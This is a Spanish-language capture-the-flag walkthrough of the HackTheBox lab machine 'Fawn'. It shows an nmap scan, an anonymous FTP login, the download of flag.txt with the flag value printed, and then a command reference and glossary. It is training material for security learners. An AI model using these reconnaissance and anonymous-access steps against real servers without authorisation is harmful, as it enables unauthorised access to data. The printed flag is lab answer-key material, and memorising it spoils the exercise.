FAWN

// FTP Anonymous Access → flag.txt

MUY FÁCIL HACKTHEBOX LINUX FTP ANONYMOUS ACCESS // Junio 2026

Reconocimiento

1
ESCANEO COMPLETO CON NMAP

Lanzamos el escaneo inicial con nmap contra la IP objetivo 10.129.1.14. De los 65,535 puertos TCP escaneados, solo hay uno abierto: el puerto 21, correspondiente al protocolo FTP con el servicio vsftpd 3.0.3.

Los scripts NSE de nmap revelan información clave directamente: el servidor permite anonymous FTP login y lista un archivo flag.txt de 32 bytes. La superficie de ataque no puede ser más clara.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.1.14 -oX fawn.xml
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.7
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
Service Info: OS: Unix

// ANONYMOUS FTP LOGIN — ACCESO SIN CREDENCIALES

Anonymous FTP es una configuración en la que el servidor acepta conexiones usando el usuario anonymous (o ftp) con cualquier contraseña. Diseñado originalmente para distribución pública de archivos, su presencia en un servidor mal administrado expone directorios completos a cualquier persona con acceso a la red. Nmap lo detecta automáticamente con el script ftp-anon.

2
REPORTE HTML CON XSLTPROC

Transformamos el XML generado por nmap en un reporte HTML con xsltproc para revisar los resultados visualmente.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl fawn.xml > fawn.html

FTP · Acceso Anónimo

3
CONEXIÓN FTP CON USUARIO ANONYMOUS

Con el puerto 21 abierto y anonymous login confirmado por nmap, conectamos al servidor FTP con el cliente ftp. Cuando el servidor solicita Name, ingresamos anonymous. En el campo Password se puede ingresar cualquier valor — por convención se usa una dirección de email o simplemente se presiona Enter.

El servidor responde con 230 Login successful, confirmando acceso completo al sistema de archivos expuesto.

FTP
$ ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
USUARIO
anonymous
CONTRASEÑA
(cualquiera)
SERVICIO
FTP · 21/tcp

// ANONYMOUS/GUEST ACCESS

Permitir anonymous FTP en un servidor que expone archivos sensibles es una misconfiguration crítica. No requiere credenciales válidas ni fuerza bruta — cualquier cliente FTP puede conectarse y descargar archivos. En entornos de producción, el acceso anónimo debe estar deshabilitado o restringido a directorios públicos sin información sensible.

Flag

4
DESCARGA Y LECTURA DE FLAG.TXT

Ya dentro de la sesión FTP, listamos el directorio con ls y confirmamos la presencia de flag.txt. Descargamos el archivo a nuestra máquina local con el comando get y cerramos la sesión con exit. Finalmente leemos el contenido con cat.

FTP · GET
ftp> ls
229 Entering Extended Passive Mode (|||||||)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
 
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||||||)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 00:00 (0.06 KiB/s)
 
ftp> exit
221 Goodbye.
FLAG
$ cat flag.txt
035db21c881520061c53e0536e44f815

// FLAG

035db21c881520061c53e0536e44f815 — Acceso vía FTP anónimo. Máquina completada en 4 pasos: nmap → ftp anonymous → get flag.txt → cat flag.txt.


VULNERABILIDAD COMPONENTE IMPACTO
Anonymous/Guest Access FTP · vsftpd 3.0.3 Acceso a archivos sin credenciales
Weak Authentication FTP · usuario anonymous Sin secreto compartido requerido
Protocolo Inseguro FTP · texto plano Transferencia de datos sin cifrado

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de versiones, scripts NSE y exportación a XML.
  • -p- — escanea los 65,535 puertos TCP
  • -sS — SYN scan sin completar handshake
  • -sC — scripts NSE por defecto
  • -sV — detección de versión de servicios
  • -n — desactiva resolución DNS
  • -Pn — omite host discovery previo
  • --min-rate — paquetes mínimos por segundo
  • --open — muestra solo puertos abiertos
  • -oX — exporta resultado a XML
ftp
ftp <IP>
Cliente FTP interactivo para conectar, navegar y transferir archivos desde servidores FTP. Acepta usuario anonymous para servidores con acceso público.
  • ls — lista archivos del directorio remoto
  • get <file> — descarga archivo al directorio local
  • put <file> — sube archivo al servidor
  • cd <dir> — cambia directorio remoto
  • binary — activa modo transferencia binaria
  • exit / bye — cierra la sesión FTP
xsltproc
xsltproc /usr/share/nmap/nmap.xsl out.xml > out.html
Transforma el XML exportado por nmap en un reporte HTML navegable usando la hoja de estilos XSL incluida con nmap.
  • --output <file> — archivo de salida alternativo
cat
cat <archivo>
Muestra el contenido de un archivo en la terminal. Comando básico de lectura post-descarga para verificar flags y archivos de texto.
  • -n — numera las líneas de salida
  • -A — muestra caracteres especiales y fin de línea

Glosario

FTP — File Transfer Protocol
FTP (RFC 959) es un protocolo de la capa de aplicación diseñado en 1971 para transferencia de archivos entre sistemas. Opera sobre TCP en dos puertos: 21 para el canal de control (comandos) y un puerto dinámico para el canal de datos. Su debilidad fundamental es que transmite todo en texto plano, incluyendo credenciales y datos. Ha sido reemplazado por SFTP (SSH File Transfer Protocol) y FTPS (FTP over TLS) en entornos seguros, pero sigue activo en sistemas legacy y máquinas de laboratorio como HackTheBox.
Anonymous FTP — Acceso Anónimo
El acceso anónimo FTP permite conectarse usando el usuario anonymous o ftp con cualquier contraseña (convencionalmente una dirección de email). Fue diseñado para distribución pública de software y documentación, pero su configuración incorrecta en servidores con datos sensibles representa una vulnerabilidad de autenticación débil (CWE-1390). El script NSE ftp-anon de nmap lo detecta automáticamente durante el escaneo.
vsftpd — Very Secure FTP Daemon
vsftpd es uno de los servidores FTP más utilizados en sistemas Unix/Linux, conocido por su énfasis en seguridad, estabilidad y rendimiento. La versión 3.0.3 es estable y no tiene vulnerabilidades críticas conocidas por sí misma — la explotación en Fawn no es un bug del software sino una misconfiguration: el administrador habilitó el acceso anónimo en un servidor que expone archivos sensibles.
VPN — Virtual Private Network en HTB
HackTheBox utiliza una VPN (Red Privada Virtual) basada en OpenVPN para aislar las máquinas objetivo en redes privadas accesibles solo para jugadores conectados. Al descargar el archivo .ovpn y conectar con sudo openvpn <archivo.ovpn>, el sistema operativo crea una interfaz de red virtual (tun0) que enruta el tráfico cifrado hacia los servidores de HTB. Sin esta conexión, las IPs del rango 10.129.x.x no son alcanzables.